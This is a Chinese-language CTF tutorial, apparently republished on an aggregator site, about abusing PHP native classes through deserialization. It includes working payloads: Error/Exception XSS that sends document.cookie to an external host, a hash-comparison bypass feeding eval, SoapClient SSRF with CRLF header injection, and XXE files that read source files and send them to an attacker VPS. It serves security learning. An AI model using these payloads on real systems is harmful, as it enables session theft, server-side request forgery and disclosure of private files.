浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

这篇具有很好参考价值的文章主要介绍了浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

除了上篇文章浅谈 php原生类的利用 1(文件操作类)_php spl原生类_葫芦娃42的博客-CSDN博客 里提到的原生利用文件操作类读文件的功能,在CTF题目中,还可以利用php原生类来进行XSS,反序列化,SSRF,XXE。

常用内置类:

DirectoryIterator FilesystemIterator GlobIterator
SplFileObject SplFileinfo

Error Exception
SoapClient
SimpleXMLElement

目录

<1> Error/Exception内置类

(1) 利用 Error/Exception 进行xss

 例题: [BJDCTF 2nd]xss之光

(2) 利用 Error/Exception 内置类进行hash绕过

例题:[2020 极客大挑战]Greatphp

<2> SoapClient内置类

(1) 利用SoapClient内置类进行SSRF

例题:[LCTF]bestphp‘s revenge

SoapClient触发反序列化导致ssrf

serialize_hander处理session方式不同导致session注入

crlf漏洞

 <3> SimpleXMLElement 内置类

(1) 利用SimpleXMLElement 进行xxe

例题:SUCTF2018-Homework


<1> Error/Exception内置类

使用条件:

  • 适用于php7版本
  • 在开启报错的情况下

(1) 利用 Error/Exception 进行xss

Error能实现xss的原因:

    是Error中有个__toString(),当对象被当作一个字符串使用时进行默认调用。而且我们能想办法控制它的内容,在配合<script></script>标签就能实现到xss。包括但不仅限于echo ,还有file_exist()判断也会进行触发

而因为Error可以传两个参数,有个参数值的不同则对象不同也就不相等,但对由于__toString()返回的值相同md5和sha1加密后也相同,最后得到的数据也是一样的,所以可以达到hash绕过

我们本地php_study 开启一个环境,test.php如下

<?php
$a = unserialize($_GET['1vxyz']);
echo $a;
?> 

这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类,这就遇到了一个反序列化但没有POP链的情况,没学过Error类的话就不知道该干嘛了,这里我们可以找到PHP内置类来进行反序列化

poc.php:

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

得到的序列化数据传入1vxyz中,可以看见触发了xss

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

Exception继承了Error类,原理&用法同Error

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 例题: [BJDCTF 2nd]xss之光

.git文件泄露 ,得到源码:

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

看完上面介绍之后,很明显可以看出来存在xss漏洞,可以利用Error内置类构造<script></script>语句

一般xss的题 flag都是在cookie里,所以我们利用XSS把cookie带出来

poc.php如下:

<?php
$a = new Exception("<script>window.open('http://de3fdab3-f123-a4d4-b44k-aea15634d2.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($a));
?>

(2) 利用 Error/Exception 内置类进行hash绕过

Error&Exception原生类不止可以xss,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较

在Error和Exception这两个PHP原生类中有 __toString 方法,这个方法用于将异常或错误对象转换为字符串

尝试触发Error的__toString()

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”)

我们再加上一个试一试

<?php
highlight_file(__FILE__);
$a = new Error("null",1);$b = new Error("null",1);
echo $a;
echo $b;

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 $a$b 这两个new出来的Error对象本身是不同的,但是 当对象被当作字符串操作时,触发__toString 方法返回的结果是相同的。

<?php
highlight_file(__FILE__);
$a = new Error("null",1);$b = new Error("null",1);
if($a!==$b && md5($a)===md5($b) && sha1($a)===sha1($b))
    echo "Success!"; 

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

因此,利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较

 注:由于报错信息包含当前的错误信息(”payload”)以及当前报错的行号(”2”) 。因此我们的$a 与 $b必须是在同一行,否则无法满足 md5($a)===md5($b).  同时,如果是 != 而不是!==强比较的话,还需要满足 new Error("null",1) 不同,另一个应该是 new Error("null",2). 这个是对象之间比较的一些个问题,大家自己测试一下即可理解。

例题:[2020 极客大挑战]Greatphp

 进入题目环境,得到源码:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

我们要满足

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);

执行到 eval($this-syc);  可以用Error类进行hash绕过 。且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法  因而我们可以传入 $this->syc=new Error("php代码",1); 去执行命令

由于题目用preg_match 过滤了括号,引号。无法调用函数,所以我们尝试直接 include "/flag" 将flag包含出来。用取反绕过即可

poc.php 如下:

<?php

class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}
#/flag 取反后urlencode 为%D0%99%93%9E%98
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/* 
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";    
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

 浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

注:此文件路径及名称也会在Error的返回中,所以不能包含() 不然无法绕过

<2> SoapClient内置类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端

该内置类有一个 __call 方法__call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发

该类的构造函数如下:

PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间

(1) 利用SoapClient内置类进行SSRF

我们在自己服务器上nc 监听一个端口

<?php
$a = new SoapClient(null,array('location'=>'http://vpsip:port/', 'uri'=>'hello'));
$b = serialize($a);
$c = unserialize($b);
$c->not-exists();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 可以发现成功发送数据包,如果存在CRLF漏洞,我们还可以控制User-Agent 伪造http报文(加入自己设置的cookie等)

也可以伪造redis命令,用http协议去打redis了

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 对于发送POST数据包,Content-Type 的值我们要设置为 application/x-www-form-urlencoded,而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n,其他间隔\r\n。 因此脚本可以修改为如下:

<?php
$target = 'http://ip:port/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=hjka6sd57fdsgy6fdsgg'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'1vxyz^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
#echo $b;
$c = unserialize($b);
$c->not_exists();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 成功发送post数据包。

例题:[LCTF]bestphp‘s revenge

题目用到知识点:

  • SoapClient触发反序列化导致ssrf

  • serialize_hander处理session方式不同导致session注入

  • crlf漏洞

进去题目得到源码:

//index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
//flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }

接下来我们进行代码审计:

call_user_func 函数:

         把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调.

通过flag.php 可知:需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。

  • 首先可以f 传入extract 从而造成变量覆盖。
  • 这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先 f 传 extract 将b覆盖成call_user_func()。$a为数组 其第一个参数reset($_SESSION)就是$_SESSION['name'],可控。  SoapClient原生类可以触发SSRF
  • 因此 我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')), 最终call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求

SoapClient的内容怎么控制呢,poc:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
    'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll

这里还涉及到 CRLF 漏洞  CRLF是”回车+换行”(\r\n)的简称

这个poc就是利用crlf伪造请求去访问flag.php flag.php执行满足$_SERVER["REMOTE_ADDR"]==="127.0.0.1" 会将flag保存在cookie为PHPSESSID=aaaaaaaa的$SESSION数组中,$SESSION会以序列化形式存在于服务器上临时生成的sess_sessid文件中。之后我们可以var_dump($SESSION); 更改sessionid为此sessionid来输出出来flag。

当存储是php_serialize处理,然后调用时php去处理。可以触发session反序列化。具体原理可以查看前面写的 session反序列化原理:php-session反序列化_葫芦娃42的博客-CSDN博客

我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。

不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST

生成payload:|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%221vxyz%0D%0ACookie%3A+PHPSESSID%3Daaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

首先传入 GET: f=session_start&name= 上面的payload   POST: serialize_handler=php_serialize

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

然后传入 GET: f=extract&name=SoapClient    POST: b=call_user_func

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 更改 PHPSESSID为 aaaaaaaa  正常访问 执行 var_dump($SESSION) 得到flag

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 <3> SimpleXMLElement 内置类

(1) 利用SimpleXMLElement 进行xxe

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

我们看一下官方文档里的解释:

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

因此,当我们将第三个参数data_is_url设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url

例题:SUCTF2018-Homework

题目分析:

 先注册账号登陆作业平台。看到一个calc计算器类。有两个按钮,一个用于调用calc类实现两位数的四则运算。另一个用于提交代码

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

点击CALC看一下:

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 根据url参数栏以及再根据calc类里面的内容,不难判断得知,这里通过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数

suubmit.php 这里是一个上传文件的功能

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

 SimpleXMLElement类

 这里用到了PHP的内置类中的SimpleXMLElement类。calc($args1,$method,$args2) 其中的类与参数都是我们url栏里可控的。

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

public SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)

可以看到通过设置第三个参数 $dataIsURLtrue,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 $data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE

首先,我们自己在服务器vps 上构造如下evil.xml、send.xml这两个文件

evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % remote SYSTEM "https://VPS/send.xml">
%remote;
%all;
%send;
]>
send.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'https://VPS/?%payload;'>">

然后在url栏中构造:

/show.php?module=SimpleXMLElement&args[]=http://vps/evil.xml&args[]=2&args[]=true

查看web日志:解码得到源码,可能是环境问题或者是我本地问题,没有打通。

除了这三个内置类,还有一些内置类:ZipArchive类来删除文件 ReflectionMethod类获取注释内容 后面有机会再总结

参考: https://www.codetd.com/article/13648456文章来源地址https://www.toymoban.com/news/detail-418084.html

到了这里,关于浅谈php原生类的利用 2(Error&SoapClient&SimpleXMLElement)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 关于php原生开发与主流php框架使用心得

    PHP是世界上最好的web开发语言,这个无可辩驳,当然去掉web两个字,这毫无意义,网上很多喷子鼓吹的java,.net,python都差的远。 php有如下优点: 简单易学。正是因为如此,才造就了php开发者人群的庞大和良莠不齐,但是我们不能因为阳光和空气获取起来毫不费力就说它不重

    2024年02月02日
    浏览(31)
  • 浅谈PHP结合JavaScript SSE(Server Sent Events)实现服务器实时推送功能

    如配置后Nginx遇到502/504的,请参考这两篇文章的解决方案 PHP-FPM与Nginx通信报 502 Bad Gateway或504 Gateway Timeout终极解决方案(适用于PHP执行耗时任务情况下的报错) Linux系统下配置Nginx使部分URL使用多套自定义的PHP-FPM配置 SSE 的全称是 Server Sent Events,即服务器推送事件。它是一种

    2024年02月08日
    浏览(33)
  • PHP原生类

    原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类 我们可以通过脚本找一下php原生类 DirectoryIterator 类 类介绍  DirectoryIterator extends SplFileInfo implements SeekableIterator {     /* 方法 */     public __construct ( string $path )     public current ( )

    2024年02月13日
    浏览(25)
  • 原生JavaScript+PHP多图上传实现

    很多场景下需要选择多张图片上传,或者是批量上传以提高效率,多图上传的需求自然就比较多了,本文使用最简单的XMLHttpRequest异步上传图片。 index.html upload.php (请建立一个upload文件夹以存放上传的文件) TANKING

    2024年02月09日
    浏览(31)
  • 【PHP】PHP利用ffmreg获取音频、视频的详细信息

    目录 一、目的 二、下载并安装ffmreg 三、PHP代码 四、运行结果 使用PHP利用ffmreg获取音频、视频的详细信息,音视频总时长、码率、视频分辨率、音频编码、音频采样频率、实际播放时间、文件大小。 1、下载地址:https://download.csdn.net/download/qq_25285531/88750220 2、解压放到项目下

    2024年01月17日
    浏览(31)
  • 原生PHP及thinkphp6接入阿里云短信

    申请accesskey 获取到Accesskey ID和Accesskey Secret保存下来,一会要用到 添加测试手机号,在接口测试能否正常发送 下载阿里云短信sdk,使用composer下载,没有安装请先安装 安装可以安装到任意文件夹下,后面代码写好后,直接复制到tp项目内就行,最新版本安装可能composer查找不

    2024年02月05日
    浏览(39)
  • 利用 PHP 特性绕 WAF 测试

    在测试绕过 WAF 执行远程代码之前,首先构造一个简单的、易受攻击的远程代码执行脚本,内容如图: 第 6 行是一个比较明显的命令执行代码,第 3 行尝试拦截 system、exec 或 passthru 等函数(PHP 中有许多其他函数可以执行系统命令,这三个是最常见的)。 这个脚本部署在 Cl

    2024年02月08日
    浏览(28)
  • PHP文件包含漏洞(利用phpinfo)复现

    PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来拿到权限。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。 在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的

    2024年02月16日
    浏览(35)
  • PHP LFI 利用临时文件Getshell

    PHP LFI 利用临时文件 Getshell 姿势-安全客 - 安全资讯平台 LFI 绕过 Session 包含限制 Getshell-安全客 - 安全资讯平台 目录  PHP LFI 利用临时文件Getshell 临时文件 linux 和 windows的 临时文件存储规则 linux和windows对临时文件的命名规则 PHPINFO()特性 原理 条件竞争 PHP7 Segment Fault 利用条件

    2024年02月07日
    浏览(34)
  • 基于PHP的原生酒店预定管理系统(源码 调试 文档)

    摘要 本文介绍了一种基于PHP的原生酒店预定管理系统的设计与实现。该系统分为管理员和注册会员两种用户角色,分别具有不同的功能。管理员主要负责会员管理、房型管理、房间管理和系统管理等;注册会员则可以进行注册登录、分类筛选、房型搜索、房型查看、在线预定

    2024年02月05日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包